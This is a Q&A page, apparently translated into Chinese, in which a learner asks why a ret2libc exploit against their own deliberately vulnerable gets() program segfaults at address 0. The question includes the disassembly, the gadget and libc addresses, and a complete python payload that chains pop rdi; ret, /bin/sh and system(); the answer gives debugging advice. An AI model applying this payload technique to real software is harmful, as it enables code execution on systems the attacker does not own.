c - ret2libc segfault地址为0x0000000000000000

Question

我执行了ret2libc，但是在0x0000000000000000中以segfault结尾。脆弱的程序是

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void get()
{
  char buf[10];
  gets(buf);
  printf("%s\n",buf);
}
int main()
{
  get();
  printf("Done\n");
  return 1;
}

从gdb的反汇编是

(gdb) disass main
Dump of assembler code for function main:
   0x000055555555516d <+0>:     push   rbp
   0x000055555555516e <+1>:     mov    rbp,rsp
   0x0000555555555171 <+4>:     mov    eax,0x0
   0x0000555555555176 <+9>:     call   0x555555555145 <get>
   0x000055555555517b <+14>:    lea    rdi,[rip+0xe82]        # 0x555555556004
   0x0000555555555182 <+21>:    call   0x555555555030 <puts@plt>
   0x0000555555555187 <+26>:    mov    eax,0x1
   0x000055555555518c <+31>:    pop    rbp
   0x000055555555518d <+32>:    ret    
End of assembler dump.
(gdb) disass get
Dump of assembler code for function get:
   0x0000555555555145 <+0>:     push   rbp
   0x0000555555555146 <+1>:     mov    rbp,rsp
   0x0000555555555149 <+4>:     sub    rsp,0x10
   0x000055555555514d <+8>:     lea    rax,[rbp-0xa]
   0x0000555555555151 <+12>:    mov    rdi,rax
   0x0000555555555154 <+15>:    mov    eax,0x0
   0x0000555555555159 <+20>:    call   0x555555555040 <gets@plt>
   0x000055555555515e <+25>:    lea    rax,[rbp-0xa]
   0x0000555555555162 <+29>:    mov    rdi,rax
   0x0000555555555165 <+32>:    call   0x555555555030 <puts@plt>
   0x000055555555516a <+37>:    nop
   0x000055555555516b <+38>:    leave  
   0x000055555555516c <+39>:    ret    
End of assembler dump.

我使用radare2查找位于 pop rdi;ret的小工具 0x7ffff7e1d7de。 /bin/sh位于 0x7ffff7f7f1ac和 system()位于 0x7ffff7e3f8a0

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\xd7\xe1\xf7\xff\x7f\x00\x00" + "\xac\xf1\xf7\xf7\xff\x7f\x00\x00" + "\xa0\xf8\xe3\xf7\xff\x7f\x00\x00")')

Breakpoint 1, main () at exploit.c:12
12        get();
(gdb) c
Continuing.
AAAAAAAAAABBBBBBBB�����
[Detaching after vfork from child process 2964]

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

寄存器是

(gdb) i r
rax            0x0                 0
rbx            0x0                 0
rcx            0x0                 0
rdx            0x0                 0
rsi            0x7fffffffde88      140737488346760
rdi            0x2                 2
rbp            0x4242424242424242  0x4242424242424242
rsp            0x7fffffffe1b8      0x7fffffffe1b8
r8             0x0                 0
r9             0x0                 0
r10            0x8                 8
r11            0x246               582
r12            0x555555555060      93824992235616
r13            0x7fffffffe280      140737488347776
r14            0x0                 0
r15            0x0                 0
rip            0x0                 0x0
eflags         0x10216             [ PF AF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0

我使用的是64位计算机，该程序是使用 gcc -ggdb -Wall -fno-stack-protector -o a exploit.c编译的。我也手动禁用了aslr。
为什么以段错误结束？

Answer 1

讯息

Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()

表示您的程序已跳转到地址0(即 %pc为0)，该地址无效。这可能是由于在堆栈顶部的值为0时执行了 ret指令所致。
您还会看到消息

[Detaching after vfork from child process 2964]

这可能意味着正在调用 system函数，但是由于任何原因没有按照您的期望去做。
要调试这种事情，您需要使用 si指令一次仔细地逐步执行一条指令(偶尔使用 ni跳过调用)